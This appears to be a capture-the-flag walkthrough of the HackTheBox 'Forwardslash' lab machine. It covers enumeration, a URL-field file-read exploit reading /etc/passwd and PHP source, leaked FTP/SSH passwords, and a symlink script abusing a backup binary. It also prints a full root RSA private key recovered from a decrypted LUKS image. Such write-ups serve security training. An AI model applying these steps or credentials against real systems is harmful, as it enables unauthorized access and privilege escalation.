HackTheBox — Forwardslash

Summary

Today we have Hard linux machine with IP 10.10.10.183

Let’s get start!

Enumeration

Nmap

root@strike:~# nmap -sC -sV 10.10.10.183
Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-02 15:04 EET
Nmap scan report for backup.forwardslash.htb (10.10.10.183)
Host is up (0.086s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.39 seconds
root@strike:~#
  • We have 2 open ports: 22(ssh) and 80(http)
  • As we ca see that the domain name “forwardslash.htb”, so we add it to our hosts file on /etc/hosts and access its website

Web

I tried to find any subdomain

We found subdomain “backup”, Let’s take a look

Let’s sign up and login

I tried to take a look for directory with gobuster

I found /dev directory,But i got Access Denied

  • We get an access denied, but in addition to that this site tells us that our IP is the one that has access denied, after trying to add some typical headers with IP 127.0.0.1 and getting nothing we leave this aside.
  • We return to the panel after login, and the most interesting is found in “Change Your Profile Picture”

But i could not submit the url, Let’s take a look for “Inspect Element”

  • Let’s delete disabled=”” to could submit url and capture the request with burp
  • Check LFI vulnerability file:///etc/passwd

We found usernames like chiv and pain

We need to coverted “dev/index.php” to base64 to could get content

Let’s get content and decode it

root@strike:~# echo "PD9waHAKLy9pbmNsdWRlX29uY2UgLi4vc2Vzc2lvbi5waHA7Ci8vIEluaXRpYWxpemUgdGhlIHNlc3Npb24Kc2Vzc2lvbl9zdGFydCgpOwoKaWYoKCFpc3NldCgkX1NFU1NJT05bImxvZ2dlZGluIl0pIHx8ICRfU0VTU0lPTlsibG9nZ2VkaW4iXSAhPT0gdHJ1ZSB8fCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10gIT09ICJhZG1pbiIpICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICE9PSAiMTI3LjAuMC4xIil7CiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwMyBGb3JiaWRkZW4nKTsKICAgIGVjaG8gIjxoMT40MDMgQWNjZXNzIERlbmllZDwvaDE+IjsKICAgIGVjaG8gIjxoMz5BY2Nlc3MgRGVuaWVkIEZyb20gIiwgJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10sICI8L2gzPiI7CiAgICAvL2VjaG8gIjxoMj5SZWRpcmVjdGluZyB0byBsb2dpbiBpbiAzIHNlY29uZHM8L2gyPiIKICAgIC8vZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzt1cmw9Li4vbG9naW4ucGhwIiAvPic7CiAgICAvL2hlYWRlcigibG9jYXRpb246IC4uL2xvZ2luLnBocCIpOwogICAgZXhpdDsKfQo/Pgo8aHRtbD4KCTxoMT5YTUwgQXBpIFRlc3Q8L2gxPgoJPGgzPlRoaXMgaXMgb3VyIGFwaSB0ZXN0IGZvciB3aGVuIG91ciBuZXcgd2Vic2l0ZSBnZXRzIHJlZnVyYmlzaGVkPC9oMz4KCTxmb3JtIGFjdGlvbj0iL2Rldi9pbmRleC5waHAiIG1ldGhvZD0iZ2V0IiBpZD0ieG1sdGVzdCI+CgkJPHRleHRhcmVhIG5hbWU9InhtbCIgZm9ybT0ieG1sdGVzdCIgcm93cz0iMjAiIGNvbHM9IjUwIj48YXBpPgogICAgPHJlcXVlc3Q+dGVzdDwvcmVxdWVzdD4KPC9hcGk+CjwvdGV4dGFyZWE+CgkJPGlucHV0IHR5cGU9InN1Ym1pdCI+Cgk8L2Zvcm0+Cgo8L2h0bWw+Cgo8IS0tIFRPRE86CkZpeCBGVFAgTG9naW4KLS0+Cgo8P3BocAppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICJHRVQiICYmIGlzc2V0KCRfR0VUWyd4bWwnXSkpIHsKCgkkcmVnID0gJy9mdHA6XC9cL1tcc1xTXSpcL1wiLyc7CgkvLyRyZWcgPSAnLygoKCgyNVswLTVdKXwoMlswLTRdXGQpfChbMDFdP1xkP1xkKSkpXC4pezN9KCgoKDI1WzAtNV0pfCgyWzAtNF1cZCl8KFswMV0/XGQ/XGQpKSkpLycKCglpZiAocHJlZ19tYXRjaCgkcmVnLCAkX0dFVFsneG1sJ10sICRtYXRjaCkpIHsKCQkkaXAgPSBleHBsb2RlKCcvJywgJG1hdGNoWzBdKVsyXTsKCQllY2hvICRpcDsKCQllcnJvcl9sb2coIkNvbm5lY3RpbmciKTsKCgkJJGNvbm5faWQgPSBmdHBfY29ubmVjdCgkaXApIG9yIGRpZSgiQ291bGRuJ3QgY29ubmVjdCB0byAkaXBcbiIpOwoKCQllcnJvcl9sb2coIkxvZ2dpbmcgaW4iKTsKCgkJaWYgKEBmdHBfbG9naW4oJGNvbm5faWQsICJjaGl2IiwgJ04wYm9keUwxa2VzQmFjay8nKSkgewoKCQkJZXJyb3JfbG9nKCJHZXR0aW5nIGZpbGUiKTsKCQkJZWNobyBmdHBfZ2V0X3N0cmluZygkY29ubl9pZCwgImRlYnVnLnR4dCIpOwoJCX0KCgkJZXhpdDsKCX0KCglsaWJ4bWxfZGlzYWJsZV9lbnRpdHlfbG9hZGVyIChmYWxzZSk7CgkkeG1sZmlsZSA9ICRfR0VUWyJ4bWwiXTsKCSRkb20gPSBuZXcgRE9NRG9jdW1lbnQoKTsKCSRkb20tPmxvYWRYTUwoJHhtbGZpbGUsIExJQlhNTF9OT0VOVCB8IExJQlhNTF9EVERMT0FEKTsKCSRhcGkgPSBzaW1wbGV4bWxfaW1wb3J0X2RvbSgkZG9tKTsKCSRyZXEgPSAkYXBpLT5yZXF1ZXN0OwoJZWNobyAiLS0tLS1vdXRwdXQtLS0tLTxicj5cclxuIjsKCWVjaG8gIiRyZXEiOwp9CgpmdW5jdGlvbiBmdHBfZ2V0X3N0cmluZygkZnRwLCAkZmlsZW5hbWUpIHsKICAgICR0ZW1wID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncisnKTsKICAgIGlmIChAZnRwX2ZnZXQoJGZ0cCwgJHRlbXAsICRmaWxlbmFtZSwgRlRQX0JJTkFSWSwgMCkpIHsKICAgICAgICByZXdpbmQoJHRlbXApOwogICAgICAgIHJldHVybiBzdHJlYW1fZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgIH0KICAgIGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKPz4K" | base64 -d
<?php
//include_once ../session.php;
// Initialize the session
session_start();

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>

</html>

<!-- TODO:
Fix FTP Login
-->

<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");

$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

error_log("Logging in");

if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}

exit;
}

libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}

function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}

?>
root@strike:~#
  • We found username chiv and password “N0bodyL1kesBack/”
  • Let’s connect using ssh with credentials

We didn’t find the user flag, So he wasn’t the user who we looking for!
Try to search for backup files

  • We do not have any kind of permission on this file so we cannot try to modify its name or something for the program to read
  • I back to root directory and create shell.sh script to could read the content of config.php.bak

shell.sh

i=$(backup | grep ERROR | awk '{print $2}');
ln -s /var/backups/config.php.bak /home/chiv/$i;/usr/bin/backup;

Give permission to execute and run

Now we got new credentials username pain and password db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704
Let’s login with new credentials

Gain user flag!

Privilege Escalation

Try to find encrypt key

pain@forwardslash:~$ ls
encryptorinator note.txt user.txt
pain@forwardslash:~$ cd encryptorinator/
pain@forwardslash:~/encryptorinator$ ls
ciphertext encrypter.py
pain@forwardslash:~/encryptorinator$ cat encrypter.py
def encrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in key:
for i in range(len(msg)):
if i == 0:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
else:
tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

while tmp > 255:
tmp -= 256
msg[i] = chr(tmp)
return ''.join(msg)

def decrypt(key, msg):
key = list(key)
msg = list(msg)
for char_key in reversed(key):
for i in reversed(range(len(msg))):
if i == 0:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
else:
tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
while tmp < 0:
tmp += 256
msg[i] = chr(tmp)
return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))
pain@forwardslash:~/encryptorinator$

After running script, We got encrypted key for image cB!6%sdH8Lj^@Y*$C2cf

pain@forwardslash:/var/backups/recovery$ sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup
Enter passphrase for encrypted_backup.img:
pain@forwardslash:/var/backups/recovery$ cd /
pain@forwardslash:/$ sudo /bin/mount /dev/mapper/backup ./mnt/
pain@forwardslash:/$ ls /mnt
id_rsa
pain@forwardslash:/$ cat /mnt/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA9i/r8VGof1vpIV6rhNE9hZfBDd3u6S16uNYqLn+xFgZEQBZK
RKh+WDykv/gukvUSauxWJndPq3F1Ck0xbcGQu6+1OBYb+fQ0B8raCRjwtwYF4gaf
yLFcOS111mKmUIB9qR1wDsmKRbtWPPPvgs2ruafgeiHujIEkiUUk9f3WTNqUsPQc
u2AG//ZCiqKWcWn0CcC2EhWsRQhLOvh3pGfv4gg0Gg/VNNiMPjDAYnr4iVg4XyEu
NWS2x9PtPasWsWRPLMEPtzLhJOnHE3iVJuTnFFhp2T6CtmZui4TJH3pij6wYYis9
MqzTmFwNzzx2HKS2tE2ty2c1CcW+F3GS/rn0EQIDAQABAoIBAQCPfjkg7D6xFSpa
V+rTPH6GeoB9C6mwYeDREYt+lNDsDHUFgbiCMk+KMLa6afcDkzLL/brtKsfWHwhg
G8Q+u/8XVn/jFAf0deFJ1XOmr9HGbA1LxB6oBLDDZvrzHYbhDzOvOchR5ijhIiNO
3cPx0t1QFkiiB1sarD9Wf2Xet7iMDArJI94G7yfnfUegtC5y38liJdb2TBXwvIZC
vROXZiQdmWCPEmwuE0aDj4HqmJvnIx9P4EAcTWuY0LdUU3zZcFgYlXiYT0xg2N1p
MIrAjjhgrQ3A2kXyxh9pzxsFlvIaSfxAvsL8LQy2Osl+i80WaORykmyFy5rmNLQD
Ih0cizb9AoGBAP2+PD2nV8y20kF6U0+JlwMG7WbV/rDF6+kVn0M2sfQKiAIUK3Wn
5YCeGARrMdZr4fidTN7koke02M4enSHEdZRTW2jRXlKfYHqSoVzLggnKVU/eghQs
V4gv6+cc787HojtuU7Ee66eWj0VSr0PXjFInzdSdmnd93oDZPzwF8QUnAoGBAPhg
e1VaHG89E4YWNxbfr739t5qPuizPJY7fIBOv9Z0G+P5KCtHJA5uxpELrF3hQjJU8
6Orz/0C+TxmlTGVOvkQWij4GC9rcOMaP03zXamQTSGNROM+S1I9UUoQBrwe2nQeh
i2B/AlO4PrOHJtfSXIzsedmDNLoMqO5/n/xAqLAHAoGATnv8CBntt11JFYWvpSdq
tT38SlWgjK77dEIC2/hb/J8RSItSkfbXrvu3dA5wAOGnqI2HDF5tr35JnR+s/JfW
woUx/e7cnPO9FMyr6pbr5vlVf/nUBEde37nq3rZ9mlj3XiiW7G8i9thEAm471eEi
/vpe2QfSkmk1XGdV/svbq/sCgYAZ6FZ1DLUylThYIDEW3bZDJxfjs2JEEkdko7mA
1DXWb0fBno+KWmFZ+CmeIU+NaTmAx520BEd3xWIS1r8lQhVunLtGxPKvnZD+hToW
J5IdZjWCxpIadMJfQPhqdJKBR3cRuLQFGLpxaSKBL3PJx1OID5KWMa1qSq/EUOOr
OENgOQKBgD/mYgPSmbqpNZI0/B+6ua9kQJAH6JS44v+yFkHfNTW0M7UIjU7wkGQw
ddMNjhpwVZ3//G6UhWSojUScQTERANt8R+J6dR0YfPzHnsDIoRc7IABQmxxygXDo
ZoYDzlPAlwJmoPQXauRl1CgjlyHrVUTfS0AkQH2ZbqvK5/Metq8o
-----END RSA PRIVATE KEY-----

Try to login as root with ssh key

Gain root flag!

If u learn any thing useful from write up, Respect me on HackTheBox

THX for ur time!

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Ahmed Samir

Ahmed Samir

CTFer | Computer Science Student